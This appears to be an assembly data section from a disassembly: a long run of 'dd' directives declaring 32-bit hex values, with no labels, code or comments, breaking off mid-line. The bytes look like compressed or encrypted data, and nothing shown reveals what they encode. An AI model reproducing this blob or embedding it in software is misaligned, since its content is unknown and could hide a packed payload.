dd 4E99F303h, 75D6BF90h, 331716D6h, 2C0BEAC6h, 343576E8h dd 0C0D69B4Ah, 0F0C4726Eh, 140C765h, 27035585h, 3918E298h dd 707C73F7h, 831392E8h, 636F05C0h, 0C0D1A81Ch, 0BB0D6C50h dd 0F112E09h, 0F51F0186h, 48985FCh, 9C278C24h, 11F2341Ch dd 35AA8C80h, 0A1FD2CC8h, 3335F893h, 89822342h, 0C3B90045h dd 0D88E881h, 6135A7E5h, 74A97A26h, 8D48EFACh, 17A51340h dd 0AB31A922h, 1EE8F5A8h, 9D009480h, 6CFCF90Ah, 79AE719h dd 0B05346D4h, 82ABD78Dh, 0D3F70938h, 0D64258A2h, 6467AA00h dd 0FF0BB629h, 2F32B0D3h, 37D53009h, 8CAB814Ch, 331D0C8Dh dd 705F003Ch, 7F74FEC4h, 0D6DEF847h, 53D8FE1Bh, 0BF23927Ch dd 0ED636D6h, 46FE06AEh, 14E4C9CAh, 6110B1F2h, 0F0AF4C23h dd 80014C86h, 8C04BF66h, 0D19D8B7Eh, 0A6EEFDD5h, 0F7B0B197h dd 62C3E3F5h, 0FB9865Bh, 0C1DB0B02h, 1AAFDD6Dh, 3A3755h dd 0BD830987h, 98A316B2h, 6684CA1Ah, 0BAF1F754h, 9A181579h dd 0B58B9E04h, 43932FC9h, 0AA514A9Ch, 5AC02D9Ah, 68E93469h dd 0F5F84D2Fh, 71AC0520h, 0DB00A241h, 34B88320h, 35C0BAEh dd 9F078C0h, 248B9D29h, 0E45E842Eh, 0E8A47320h, 958B600Bh dd 8C4010D5h, 0B8668804h, 61EBA006h, 0BD153DE9h, 5D6C67Eh dd 0F8DDF3E7h, 0E7B3FAD9h, 2761B508h, 29264D21h, 205F9C2h dd 25468DF8h, 305348h, 815FCD4Fh, 0E5FEFF23h, 0FDC6CEh dd 0BC5773CFh, 0E369634Bh, 0FE41F501h, 0DB8C66EFh, 0AC9EA97Ah dd 0BB541DDFh, 11C87EF6h, 0DB1F8634h, 9B8BC028h, 0FED69403h dd 0B860005Ah, 6D12DF7Eh, 26A0880Fh, 6B26EA80h, 71156961h dd 19874CE4h, 0F709D68Bh, 10D184FEh, 0F5D3BA40h, 0C47B31B1h dd 5D9E9800h, 1BC5D724h, 0DE3A4C47h, 0DC9ABF97h, 0C4E8E1C0h dd 7105B8B6h, 8AD1B115h, 323960C1h, 0BDB9E901h, 55B59653h dd 7B0FC49h, 2D569DDFh, 70E60910h, 0AE3771E4h, 0FF91A81h dd 5F29D8B6h, 300294B8h, 0BAFC7458h, 0FB79F506h, 661818D9h dd 0D7B64D0Bh, 0E9670537h, 0C97D2700h, 90C40D2h, 4E8C146h dd 0F5C3766Dh, 4A97A0ECh, 90751203h, 0F18A0416h, 0F766020Ah dd 54541E2h, 0D7938015h, 2B0349ACh, 0BF5693D8h, 6452D970h dd 18438C71h, 94DBE4F0h, 504613C2h, 2C5E06C9h, 819BDE97h dd 67B3842Bh, 0C425BE5Fh, 489020Bh, 214311Bh, 0C621EF5Eh dd 1F1B533h, 3C0E0005h, 91830F61h, 94E80240h, 2230808Ch dd 0A36F3A25h, 80F5CA3Bh, 5D73BDB8h, 359F4827h, 43F0987Fh dd 6DB50B12h, 0E2F98546h, 0A3C93016h, 6DD8FC67h, 0F5EEE50Dh dd 0AB58C27Bh, 0B5730215h, 1D858960h, 0BB0F9850h, 0A92B7FB1h dd 911E1F61h, 8F7A8416h, 19B54C80h, 0A518910Fh, 32000B37h dd 1C5848DAh, 0C4D800B7h, 84BEB026h, 333D341Bh, 0BC6C592Bh dd 0FD450133h, 7AB0A4D7h, 69C53858h, 93830250h, 0C4B16701h dd 0C9586214h, 17071131h, 0C126695h, 92A6B95Ch, 0B03FA6ABh dd 38799EDCh, 0F96607Fh, 8559308Ah, 61801601h, 0D58D1489h dd 95080710h, 830E2EE1h, 0E93017C1h, 5C8310Dh, 0E33F9F08h dd 1494933Bh, 0F02FFF56h, 0F5879F20h, 2CE60A30h, 177EE219h dd 55DAAFD9h, 0FE5BFFC0h, 742F3141h, 0EE2275F8h, 30E0F6CAh dd 8A008F17h, 37766282h, 7EFED335h, 96C15989h, 602CA622h dd 0D740D2E8h, 6610CEh, 7E98C993h, 2F0F9912h, 0DD85012Fh dd 16E25B88h, 208076CEh, 562F1120h, 2F08F5Bh, 7E5A70D9h dd 0B750CE27h, 1B271FFh, 56CD6F04h, 0DC36693Ch, 8814C9A3h dd 0A6CB19h, 2B4CBEDEh, 0F78529C3h, 3D08332Ch, 0DD200834h dd 81552F60h, 9C85BD6h, 2CE978FFh, 0D0007355h, 0DB006C56h dd 0F28B11Ah, 508BFABFh, 1650EEC0h, 9548F1D3h, 61F6FAF3h dd 0C52D0AB0h, 0B317B8B8h, 0C909B182h, 155F221Dh, 81C680D9h dd 359BDCEFh, 0B7E1A21h, 0B547FBD7h, 26095FAFh, 0E3856037h dd 0D3A3EFF8h, 13AB378h, 496924BEh, 5D396677h, 917B850h dd 0F40694B3h, 0A1F91984h dd 80B97F86h, 9093FD88h, 1923763Ah, 5FB91600h, 0D0851C1h dd 0E61BD09h, 0F5142150h, 51F5020Ch, 9EE60062h, 44D837C3h dd 0DA3BF47Bh, 5D41AC22h, 2C144674h, 0E50BBFE7h, 0FE796916h dd 12207ABFh, 0C9B5230Dh, 0DF05932Ch, 820F3391h, 60039169h dd 8477BE66h, 92F2403Bh, 0D017C0BAh, 0C00ADAFFh, 0A8CDE1F4h dd 4070B460h, 7194C50h, 0A5FDF301h, 3D8D8BBDh, 0BBB713C3h dd 0FFE4170Bh, 20BD588Ch, 0CD982711h, 4A108922h, 769AAEF2h dd 8543B3C0h, 0F52F8BD6h, 9C98FFF9h, 1E40C9BDh, 4A4348E9h dd 44C9A771h, 0A6286019h, 0BD660E82h, 6F528BC1h, 0AC290B94h dd 17C54CBFh, 0FA2745B5h, 27BD88Ch, 82423B1Fh, 0E3E1C2EAh dd 0D2CE68F9h, 0DDCE6E00h, 0A0E8909Eh, 3D25B178h, 3B3950F7h dd 5E5F568Eh, 0F88B0F5Eh, 84D7DB53h, 450669D4h, 1044A52Ch dd 0DF57007Ch, 7FEDFAADh, 9D054BC6h, 9AE40827h, 0CAF8A1FAh dd 0B558CAFBh, 8DED509Ch, 0F47CBF25h, 0FFC586B2h, 1B12417Ah dd 0C3133922h, 366BA0C4h, 205A430Bh, 2BB5F802h, 40525002h dd 0C59E459Dh, 8024043Eh, 0E840A40Eh, 4DD86869h, 0C6D1C066h dd 93A0625h, 35135A9Dh, 556D4C09h, 0D5BCAA52h, 3F9C7CDCh dd 0F6B8A948h, 5D9BEA8Bh, 0E822AC46h, 210E808h, 62339350h dd 0AB821EFDh, 5F050FE1h, 16B2ADA6h, 4C8A5F30h, 37C111F2h dd 0C8068638h, 495E2C34h, 0B5294F30h, 0FF00E1C5h, 897952D3h dd 5E16CAB9h, 2226C98Dh, 29B53104h, 0C0E90205h, 62A9D108h dd 0B012225h, 0AF2A2DB5h, 0B08E1B09h, 0B42FB10Fh, 750ED991h dd 0B8EE69EBh, 8BA40B8Ah, 1829F99Dh, 514D8DE6h, 0ED23347Fh dd 8A758FF4h, 41F57F84h, 2077BD83h, 4A887868h, 0F102F8A0h dd 0E9327336h, 0D9727B6Dh, 0C965CC92h, 60886A13h, 0E9173A5Dh dd 356F95D0h, 8BFC7Bh, 0B6081977h, 3C1361A4h, 89EDB40Eh dd 58F5298Ah, 0CDAED340h, 9D67305Ch, 99E91D40h, 148D2CADh dd 219C18F7h, 2BAD9505h, 0AB31B988h, 8B9DAA94h, 64D247A7h dd 0C79E611Ch, 0FE4A652Ah, 0FEE426F5h, 0B5CC00DAh, 0E754ABACh dd 2B13B12Fh, 0B91E9C55h, 4C96290Bh, 13F85A63h, 23083A53h dd 167A0F1Bh, 0C76C96E7h, 0A02F9CCh, 0E4090831h, 35486B5Eh dd 0AE982637h, 4A77CFBCh, 6CCD363Ah, 4C033D20h, 6F057990h dd 8C6050F8h, 9D005E29h, 3EDF125Ch, 9090615Fh, 0BEE148DAh dd 6529C78Bh, 0E7700E53h, 6F0800B8h, 5BA70F01h, 0B0489FC6h dd 8C15EC60h, 0F090FB24h, 73DA00C9h, 0B84CDF38h, 2E412792h dd 9AF66AAh, 60EA324Dh, 0B9A43FC2h, 0B60F0421h, 1CA293E3h dd 4FF8E530h, 9E7AC91h, 578FE626h, 6631C679h, 0E20404EDh dd 0D2204A70h, 0B7D820h, 0EBF4A124h, 0CBBCD7C5h, 82BBB016h dd 41FEC50Bh, 2811135Fh, 0B94DF841h, 9122A40Fh, 1637000Ch dd 9677D9Fh, 156BA231h, 1504EE2h, 37272D9Ch, 78E00001h dd 2AEBD390h, 8C9489E4h, 70DE8140h, 76150B80h, 6DDFD82Bh dd 765660CDh, 0FD00B683h, 893E590Ah, 0F2BBBE25h, 60492C18h dd 8D8BC003h, 108A1AD5h, 112B688h, 0CF60E681h, 0D4BAD6D2h dd 3002A53h, 3DD78C95h, 9616EF6h, 241C8950h, 58AF7B57h dd 0B2010E8Fh, 0F777494Bh, 59E62C32h, 59F3A078h, 744A5D11h dd 8824CB79h, 32DDC01Bh, 3C0BD04Ah, 41D85C43h, 81000F41h dd 640B86CEh, 1DB00723h, 8F1D9155h, 39A3E0C2h, 9AA471h dd 6093B073h, 0D402BA66h, 0DE63BE02h, 0FF614B16h, 2B043D79h dd 0AB54A5BDh, 8D6BFE5Fh, 0CDC76609h, 11A44082h, 989127D9h dd 1224D54Dh, 0C8B5E9CDh, 486098Bh, 8581F93Ah, 6F7CBAF3h dd 0B22E59C4h, 0AB0F2DA8h, 0F068DD18h, 6101A1BBh, 0BE3779A6h dd 4ACEFE2Eh, 708EDBADh, 0C7928FB7h, 6C2B8ECAh, 1C465Eh dd 8BAD1615h, 95E811Ah, 57609BEDh, 2D199002h, 0B9665F01h dd 9061E2CCh, 4DB60B8Fh, 0AE023129h, 58050649h, 7240F4FBh dd 8751460Bh, 0D2EF49A9h, 0AE2AE665h, 200266Bh, 0FFE3EBAAh dd 0A5B0E6CDh, 243CC81Ch, 54EF126Dh, 0FDE5DCE5h, 0C728F0E0h dd 0FA7EF0Bh, 0DE011980h, 0FE0E9FE8h, 0FD951601h, 0BE98C26h dd 0E7CD88h, 17CB314Eh, 0FB93D83Ch, 14E86C14h, 60B90024h dd 66A6C458h, 919C00D9h, 6FBB3B26h, 0F53ECC9Ah, 41EF2514h dd 5E022882h, 11EF0DDAh, 0C9D5BF66h, 7742ED68h, 77301AE2h dd 966E02BEh, 0E82B6CC6h, 0ABB8D890h, 8C62F009h, 0D9CB8260h dd 5E610202h, 0E811ECD1h, 0D6080858h, 44C93F77h, 6DCA00EDh dd 0C13D989Eh, 0E0FEB07h, 21D0A696h, 5B01E9AFh, 4AB85B69h dd 0C27F0900h, 0CB8171ECh, 0AA2AF52Bh, 8049C6Bh, 8106FEC6h dd 682BD5D6h, 5F72A3EBh, 0AD6BBB31h, 0D5B8903Eh, 7EECC107h dd 0D822641Eh, 0F702817Dh, 3D708FB2h, 7FD455E9h, 603727h dd 8071DD42h, 0CF4ECE9Ch, 0D04DC8h, 0D6F4C6EEh, 39FBAE64h dd 0D2035900h, 0D5F975E2h, 11079523h, 89C0315Fh, 5A86699Dh dd 16232E3Fh, 8C51DD04h, 0D9D189C5h, 5D2B85C7h, 318907E7h dd 0A4B53557h, 8A4A0FB2h, 8BF9F542h, 0DC5856C0h, 0C0ECA300h dd 0F970EA68h, 0A6CB133Ah, 10630929h, 850DD36Dh, 37390A59h dd 582D82BCh, 735E9A76h, 83027095h, 9615DCBFh, 0C4AA3937h dd 24042E04h, 5E0D1C6Eh, 6BD363FDh, 60A901DDh, 0E382E5A8h dd 5E67EF8h, 35958997h, 743FCA03h, 2D40A4B0h, 23600B90h dd 0B9E079B5h, 0FAA061F8h, 61B92951h, 0F72F451Ch, 5055EF18h dd 7E2FAE00h, 6FD73EFFh, 0D3ED3206h, 0D390392Eh, 0F51225F7h dd 0F6AB7134h, 0F9AB0B2h, 25CF998Ch, 353645Fh, 91F2AEBFh dd 0AC200350h, 0BD23112Ch, 34C24805h, 0B981F175h, 34794B6Dh dd 0F900D7B8h, 0F29C187h, 9803F6B7h, 3944EDEFh, 12338B10h dd 891F1331h, 0BDD90A67h, 0F7AA18DEh, 3061C26Fh, 37B53180h dd 0FADB0AC1h, 3C4914E1h, 5BEE8103h, 69DA01D8h, 0DB0BE3C9h dd 1CF104BAh, 2F559584h, 0BCE7F9ABh, 0F7971825h, 0C5E772D2h dd 0CFE9A93Eh, 26D064C4h, 9460A7AEh, 5500DCA6h, 0D4173396h dd 0FEDE930Dh, 0C7B9A00Bh, 41439260h, 61C2D81Ch, 0BC1CB94Eh dd 0F00B7A7h, 8C0652Dh, 0AD3C7ABBh, 0CA904951h, 8D21ECA1h dd 7E2B25EDh, 6AAC85E9h, 0D6F77B00h, 0BBACF015h, 941B1BB5h dd 0A1945A10h, 0B8163962h, 0DD4B0786h, 917E4880h, 0C8D78B67h dd 174DAD95h, 155F7EC3h, 0A00867BAh, 0D0F57096h, 806FF13Ah dd 638F6634h, 2A37E98Dh, 2798B2Eh, 837CDC80h, 0AC6101E1h dd 6A56C230h, 0CC6005F4h, 1F2B755Bh, 0BA0AE0B0h, 0D306ED4Bh dd 227D8505h, 0D38EED50h, 3701A26Fh, 217F3ED7h, 10957CB3h dd 6605259Dh, 4DC905BBh, 293B1E6Bh, 5C5DB857h, 602EACBCh dd 500DE5Dh, 23439BCBh, 82278985h, 46826A9Ah, 921322CDh dd 32E40A0Bh, 0A4A64110h, 2AB5E460h, 0D8139738h, 7A19E011h dd 0D1CA8958h, 1536347Fh, 0EEE06EE6h, 380948BAh, 8BAEB3D1h dd 109A5BB3h, 84809B80h, 0A15D8B4Ah, 1818713Ch, 7D631D7Fh dd 4465EA83h, 0F2508B02h, 9D152BC8h, 0D7A92809h, 7600006Eh dd 0A93C1682h, 3906832Fh, 0DE98F11h, 951D0025h, 3B1B9986h dd 490FE75Eh, 545CD10Bh, 50545AD2h, 0B22A1A3Dh, 0A5C8DC14h dd 0A5C3E6EDh, 6CE6E8D9h, 19511582h, 2D76338Bh, 5B09E19Dh dd 0B65A0489h, 26499486h, 5CF8E3h, 0F982B1Eh, 0B866C2BFh dd 8B68B515h, 0D01A656Ah, 412B384Dh, 9CF00736h, 4B01E497h dd 0D3DE31CBh, 0F660C7D9h dd 612413Dh, 2D29F4F5h, 5769F52Ch, 97F8DDD1h, 85011A6Fh dd 0D7025175h, 1CF101Dh, 0AAF98060h, 436B2EF0h, 406E2C13h dd 0C43F2AF7h, 0F87AEF00h, 109B9ABCh, 9E2D0FEDh, 4123D5D8h dd 0E0153EC7h, 0FEAC98Dh, 833DF381h, 5D611CDFh, 8340C59Eh dd 0D1A68E9h, 0DB81805Bh, 31DEF74Bh, 6AEDCBA6h, 2516BB7Bh dd 5352C83Dh, 84EAB413h, 0E5744000h, 0D26ABD6h, 94AD292Dh dd 0BDA4AD8Ch, 0CA4507D2h, 0EC25D067h, 0C62A3062h, 224365F8h dd 0B1301AF2h, 0A23F0458h, 0C510D239h, 0E037B6E4h, 2423CBA6h dd 891CA5BDh, 4E6E85C7h, 3D78119Bh, 37B204C2h, 0B661C68Ah dd 68AEE0A5h, 99D70098h, 78E3569Ah, 0B52231BDh, 7EB1269h dd 25201C61h, 40E0EF55h, 0B10A45AEh, 7703801h, 8A0F73D0h dd 0BB41232Fh, 0E402D3B1h, 0A565B589h, 0D8B2617Fh, 311D1C00h dd 0C8ECCB78h, 0C17CFD00h, 9FB2FA50h, 0F7B50939h, 69533660h dd 1793370h, 7D4A11FAh, 2BC18BA4h, 0A8C28423h, 6549B9h dd 0B03811F8h, 81665953h, 0F4A2C73Fh, 71E4C113h, 453B28A5h dd 4550680Eh, 0FF880F82h, 2A3B4CE7h, 0BC72F600h, 9D335E54h dd 0FF3BA19Dh, 4C885031h, 5F002279h, 8EF2815Ah, 6140691h dd 12F88B66h, 21BE9D01h, 860F5740h, 60007562h, 0EA815B61h dd 8E30BC4Ch, 8BCBB05Fh, 0F95209C0h, 0B8B018Fh, 8307FC5Ah dd 0D7BF04E9h, 8152C1D0h, 280AB9EEh, 821245A5h, 0AACF046h dd 0BCC4E9h, 1ACD6BBAh, 81A906F3h, 0DA13F398h, 0B74099E9h dd 3A64E25Bh, 0EAD01F88h, 0EFEE08h, 0BBEF27F2h, 0F31E5F19h dd 6A8064DEh, 1243C5CEh, 0FD08CCE6h, 0D1002E21h, 8998ED64h dd 3EF2CEh, 6846D293h, 3D5F8C7Ah, 7B25423Ah, 0B939BB00h dd 0D3AED850h, 0A6A719CFh, 833E0883h, 50B1E321h, 0D372D8CCh dd 180A0342h, 9809FE6Ah, 7C7321A0h, 0A4A2DE03h, 80711Ah dd 2F369368h, 0D63D56DCh, 0BBEA9200h, 0D7237695h, 5A1F18ACh dd 0A32281F2h, 0F6C81E03h, 0E076CA2Eh, 0EA9055h, 3BB475B8h dd 0C3D65B27h, 1F5F20C0h, 0F58CE993h, 8311204Eh, 532F8156h dd 4800CC32h, 90A0A06Ch, 0A56FA893h, 53C400E1h, 61BAAA8Dh dd 0AB272891h, 0BC0804A2h, 64DCC0F4h, 0DE466AB4h, 0D007FB22h dd 829164D4h, 0C3FD620h, 0A0EFEE78h, 8069BB94h, 58EF5F8Fh dd 5008B5C0h, 0C4B3AEDCh, 8DE7403Ch, 0E2F150h, 110B108h dd 0A4AB69AEh, 66C14160h, 0A026295Eh, 6C8F43B4h, 23681847h dd 50B7058Ch, 3883AED2h, 8F00D9F4h, 0D3C3EA50h, 1E0AF2CCh dd 34A966C6h, 12B40458h, 8A5601ECh, 388121F0h, 8B8E19CDh dd 9BAC50A7h, 39011CFEh, 0EF63EA2Dh, 898E23Ah, 0F6FA219Fh dd 0CE601C05h, 91C088F0h, 0C4C75053h, 0E78260h, 1EA93A5h dd 7FE1C05Ch, 0C6FF673Ah, 25862706h, 60082FDEh, 229E2175h dd 6600F367h, 327E854Eh, 44A7A8EFh, 5E18C441h, 42C822E1h dd 0DF1C02Eh, 310C4D9Fh, 0E37021Ch, 30EB0B4Dh, 80D48091h dd 0C6FD6738h, 77448C37h, 6720019Ch, 0DA41B23Fh, 9F16E47Ch dd 0FCB39428h, 11745B21h, 50BA803Eh, 8CABAED9h, 50E23F44h dd 130C8B2h, 62C79064h, 4C3C8BC5h, 48CB2BCh, 2D351CFAh dd 2092628Ah, 5C1CF2E6h, 3BE3A300h, 675BD653h, 0D48F0226h dd 0CA3D6EC6h, 52829080h, 849290AEh, 11A32F21h, 64D380E9h dd 87E66AB7h, 64EB803Fh, 825AE53Dh, 0A88A306Ch, 0ED405389h dd 7A116000h, 29FBCDB3h, 743F10B7h, 2559108Fh, 18F22C24h dd 9BC488F4h, 0E81B422Ah, 0AFACE09h, 0B0348895h, 1C643708h dd 0EC52C083h, 0A08B271Bh, 0FDF1E091h, 3D0AE218h, 0F04C0F06h dd 0EF130781h, 0A2C80A85h, 5EA1002Fh, 2CAF11A8h, 9801EAFDh dd 0CAACDBD2h, 4C428C12h, 25AF2013h, 2FB8188Ah, 29439315h dd 0A5B900F0h, 379EFCAh, 3DBE3004h, 0CC627744h, 0AB2A2CE2h dd 0B939804Eh, 3922B7E4h, 0DD3A8E90h, 9EC22AAEh, 0F0E8C884h dd 0B864D8C0h, 0C23E216Ah, 2C28F891h, 0A27200E0h, 1DAE1C80h dd 272284A6h, 44E00EDh, 2DAD12F1h, 0EF61DEA3h, 0AF8BB688h dd 88C6E451h, 3442F4h, 3897525Bh, 26CA6C35h, 0F848AF30h dd 52CF27FBh, 0F623C4A1h, 0B664D201h, 0F918EE6Ah, 64EAF88Bh dd 97E00576h, 0BAD12775h, 0AEFEF4C1h, 0D148F0A9h, 0C018F6h dd 0DC1592F8h, 53D5C9C7h, 10755605h, 5448A327h, 64DDC0F7h dd 0D6466AB5h, 0D105FF22h, 690764D5h, 406045C3h, 86DACCF8h dd 0FE71DC99h, 4D28B018h, 0E491AF42h, 0E01835F1h, 0EEFA2E09h dd 0E748108Bh, 0F144995Fh, 511833h, 98592E7Ch, 42252388h dd 3C50D354h, 50B80E8Ch, 8851AEDBh, 0B0E0803Dh, 0C9BF7750h dd 0A9AFE900h, 0F6B3B720h, 3E1CB057h, 458A6A3h, 35C0D188h dd 46C6F867h, 72221Fh, 0CC673D81h, 22408BA6h, 0B0119499h dd 331CF880h, 879A2Dh, 131CF0E0h, 0D0120E3Ch, 0EC049027h dd 0E402A4C6h, 54601F70h, 2383D499h, 0FC018C60h, 0FA2D371Ch dd 0E4889118h, 821C00F4h, 8CDEFD0Dh, 24007081h, 0CA2C79FCh dd 2C01EC32h, 4444EFC7h, 673960D5h, 3FC623FCh, 9D007111h dd 8F7C6721h, 0B214AD96h, 14A4CD72h, 10AC50EEh, 0A100C3F2h dd 0C6DE5D12h, 0DCAAD48Bh, 92116417h, 6C313580h, 0A12CC10h dd 3404F757h, 2E254AE3h, 33230Ch, 68666572h, 6164D379h dd 0E4CE4948h, 0A9C0FCC8h, 0A3783CAh, 0C0217E6Eh, 682D00D8h dd 8C525D48h, 50225F29h, 8550B609h, 0C4CE8BACh, 508EE607h dd 0FD4D025h, 880206B9h, 0CEAB2F4Fh, 15AC83EDh, 0C88149ECh dd 520051BCh, 463C8C14h, 3AC4B71Dh, 1E892F50h, 1C45A68Ah dd 866235E4h, 877E6040h, 48B30D80h, 0D0232C04h, 0F9673401h dd 761817C6h, 713C8088h, 0D6920067h, 0E327731Fh, 647F6970h dd 0BC44CC5Ch, 0C3008C9Ch, 3129A36Ch, 0A78C971h, 4C0776E8h dd 1A2E0FF8h, 6024C092h, 0CA2A28EAh, 0D019490h, 68CC1F2Fh dd 7030D7BCh, 119480ABh, 0F639720h, 6268A1FCh, 0F542F2A3h dd 9321203Bh, 300A0650h, 4674803Ch, 0A1380073h, 0C6532754h dd 0CCA74DD1h, 0D608FEBCh, 2A4B91Ah, 61831166h, 30C49847h dd 4D1FEB64h, 0C6BE7182h, 8FE441F9h, 1C08F118h, 0C4E22D3Ah dd 0E9FB409Eh, 920021Ch, 6CC80428h, 55A3C200h, 840EDE1Fh dd 4288E021h, 4743E422h, 60FF446Ch, 0A03F5E4Fh, 81A90EC8h dd 1C42D8Ah, 0A22A6352h, 0C080705Dh, 8373BB79h, 9D0CAE9Bh dd 0F13242EFh, 260C0004h, 282DC894h, 2C00F32Ah, 0FDB46227h dd 188248E5h, 6832926Eh, 0C0B1AA06h, 0D980F311h, 366AB964h dd 0B014C25Ch, 64D02Dh, 0D8DC223Eh, 11904C13h, 0A2ABFEA0h dd 9085E49h, 6D9C6957h, 7BBDC0B0h, 0A502A451h, 0A156C491h dd 2CB028C9h, 0F746746Ch, 405EF61Dh, 41048B3Bh, 6A48C999h dd 0B6E202Ch, 8132F2AAh, 0FC119C9Fh, 5DBD0880h, 0CA0CBF07h dd 585EA376h, 884E5401h, 5F0B0020h, 64C4A691h, 7C006C30h dd 1BA13141h, 0CB20D80h, 47BB76C2h, 0BE13FB38h, 686F9C6Ah dd 1028D902h, 98892DA8h, 0F7110C9Dh, 0F9609E8Fh, 6D381D72h dd 0E326B706h, 3769202Dh, 89D9C228h, 7C0FD002h, 8031111Fh dd 17CED7FCh, 75AF0411h, 0E1132968h, 2C705008h, 0EB4F765Bh dd 997E6002h, 0DB0840C8h, 5EC40C1Dh, 0DA102A5Dh, 2075AE0Ch dd 4D439DDh, 0DB348DF4h, 0CE5D04FBh, 55062209h, 0A8A350CBh dd 0C562BBC0h, 5C3410D2h, 3E887CCBh, 6EAF9EC0h, 4BCB0324h dd 21A166C6h, 0BA537108h dd 46260EC3h, 0C8F88ED2h, 23F3C0FCh, 48268753h, 84401013h dd 94F1FA52h, 0A1A88408h, 64005642h, 55F9865Bh, 0AEAC0FDCh dd 0CB93CC1Eh, 0C077C820h, 8F06B61Dh, 0C140A660h, 0E0857ACh dd 82DE83BAh, 7D585C61h, 78C85025h, 84F47B32h, 0D6306465h dd 67363820h, 7C621FBh, 673E82C0h, 0A66D0278h, 0E22670BFh dd 0B5BD84A0h, 9B1D1853h, 2E83B3CCh, 0D8B27AF8h, 1B7BB90Bh dd 0F8F66169h, 34392CF8h, 0C4682F08h, 608D1353h, 381CFFFCh dd 96F22D27h, 0F7E507C4h, 0E061551Ch, 614C496h, 2DBEC202h dd 191AA53h, 740556DCh, 46E6BB9Ch, 9F791009h, 1960006Fh dd 67EBFAD3h, 0A67280F4h, 0AE0BE043h, 208E4AC2h, 13B91970h dd 18A20FDBh, 0A467370Ch, 208AB61Ah, 31149379h, 0F020208Fh dd 86DCEEE6h, 0AB902850h, 0A844A62Ah, 80BC265Ch, 0DB9A25FFh dd 28C9173Dh, 0E41C20C4h, 0A8C21678h, 50B6A329h, 4078968Ch dd 5A6B36BFh, 908F8339h, 0B826C17Ah, 2C11F0h, 50392D0Dh dd 10BF2D1h, 5462EFCDh, 0C8FED9BFh, 4324AED8h, 39101CCFh dd 3FA2B453h, 388F9F30h, 0BD3D0F0Dh, 8079B864h, 26BA8C30h dd 414FF4Dh, 96DB586Eh, 96A240B3h, 9C1D730h, 9192FA2Ch dd 37910C0h, 0A44E40h, 0A6C1ED1Fh, 0E9A1CE38h, 0B834A8B8h dd 0F8F2E0AFh, 0FC309CF2h, 0E3033FEEh, 0F95C6F09h, 0A81D1089h dd 0BE803E11h, 0F19E1464h, 0E4181703h, 4BB8A789h, 236C2F50h dd 0BC3A003Eh, 0DA9C6460h, 5DACDE02h, 8FFE2C57h, 0C0D5E080h dd 4FC2F218h, 23B43BA4h, 0A40D00FAh, 29AE40C1h, 0E400ABE2h dd 0DF2EF279h, 2618969Ch, 5E98080Eh, 0AE01FD46h, 0CB29BE9Ch dd 8B1994F4h, 3B680F4h, 37C08Ah, 7CE411B4h, 6E7076D6h dd 0ADDBAA00h, 2F60BF3Ch, 34A604C0h, 81FD49AEh, 23D9DF8h dd 5584C1BAh, 0D96859D2h, 0F47F18F9h, 2F523FA3h, 1AAE9182h dd 445886A1h, 82B87CF4h, 9D7958B9h, 7D755E18h, 0EE0D2207h dd 6583C6BDh, 0DCB840D7h, 1F17172Ch, 0C350200Fh, 0A23CE820h dd 0D079FDACh, 31D17300h, 0B4CA447h, 0DA6306A8h, 0F16A48F4h dd 0AFDD9300h, 0F9EA315Bh, 70B0C0BFh, 0D6AB218Fh, 0C53BB505h dd 40CECF86h, 0CC0FA88h, 667F14h, 6D25B13Eh, 34B2B695h dd 0D52830B0h, 28026436h, 2E0F787Fh, 0DC2707E4h, 253C3649h dd 24D5240Bh, 4CF1400h, 1366740Ch, 12CCCD21h, 23403AB8h dd 914B0132h, 64D576C4h, 32FA2C74h, 33CE04Ch, 0C5A66A8Fh dd 18C6D0C4h, 0CE38D692h, 0C7F8C810h, 0FF7267E8h, 0A3A530B8h dd 0C0816A2Ah, 458FBB25h, 673AC454h, 0B35DA0EEh, 0E464619Ch dd 0BFC00197h, 5AAB2D20h, 0B5C882FDh, 0D0777968h, 588609D8h dd 0C440AD6Dh, 1CBEAAA8h, 0D7ED5641h, 0BE18CD01h, 0FA5317F8h dd 1094A850h, 0B8162961h, 5D3116B3h, 1CA0A284h, 0C07ABF7Eh dd 706C3F30h, 0E72D12ACh, 7D328420h, 56640C0Ah, 84482019h dd 9340BA7Dh, 8D020C21h, 235962AAh, 0D80148h, 0DAB70A38h dd 5424E4BEh, 1BAC804Fh, 58A8EEFAh, 3C6E71E1h, 2F9A8248h dd 1E704C67h, 6430E7Ah, 984FF729h, 0B0508300h, 0C737ACC0h dd 0B00E5863h, 0F8010C80h, 0A348A8F6h, 34470B47h, 94C400E0h dd 580EACDFh, 262C54E3h, 250D40A8h, 8F04A87Dh, 0C2EEA32Fh dd 5B5C4800h, 0EB001FA5h, 0B6A058C1h, 175F6627h, 808F716Ah dd 0E30FDC1Ch, 0D92F2431h, 8980970Eh, 7F7758A1h, 0BD4966C4h dd 1E2D0050h, 28A5B2DCh, 81F067C3h, 41E7356Ah, 9AE2A4B8h dd 259500AEh, 9BCE1279h, 2D6445C5h, 545043B3h, 79000F58h dd 785ECA19h, 9BEA9768h, 71857854h, 0CA0E505h, 0DCC0A3DFh dd 9BCC84Fh, 5D1F7EC0h, 14D92C6Ah, 0B318F779h, 46CA7100h dd 5A1DB2C7h, 2F3309E2h, 608EABh, 0C504A9C4h, 8CD6F2AEh dd 26CF94F4h, 7610DE47h, 0F70E3146h, 0F4C05494h, 9FAD12AEh dd 295A58C4h, 42304CA8h, 0F978BB09h, 5B0781E2h, 72748C8h dd 0B0E20855h, 0C930FAE2h, 6E1E00C1h, 5B2F94C3h, 0E0DDCA0Eh dd 0DAC9125Dh, 0C78C8B17h, 60F864F8h, 610A0Eh, 79E96F90h dd 0A269482Dh, 0A0142297h, 8F9B105Dh, 302F774Bh, 6D007A23h dd 681C32CAh, 69FF03BAh, 0F7466C11h, 0A78A0EE8h, 0A6E8DCF2h dd 0DF539205h, 68A0C37Eh, 0C92C0299h, 6B4A86DBh, 4268E049h dd 0E8F371E4h, 4F025D0h, 9B2968B7h, 0E000D667h, 1DACEA1Eh dd 1E249246h, 0A1D1F108h, 0F11960B2h, 7079CCF1h, 0BC1FF918h dd 0DF416B76h, 0F2ACCDA4h, 843490E1h, 0A85809C0h, 3045CC0Eh dd 466090C4h, 501FAA71h, 4D98796Fh, 0F04819D0h, 3B265F15h dd 18C7D04h, 0C7C40132h, 502D42CBh, 6EA958A0h, 441ED700h dd 7301D572h, 69A7E5C8h, 40EE2004h, 6DD5E454h, 0AB2E07EBh dd 5BF1275Dh, 70E4ECC5h, 0F7B6FE60h, 0FAAF4104h, 0E891F4CAh dd 228C45h, 0F73135F2h, 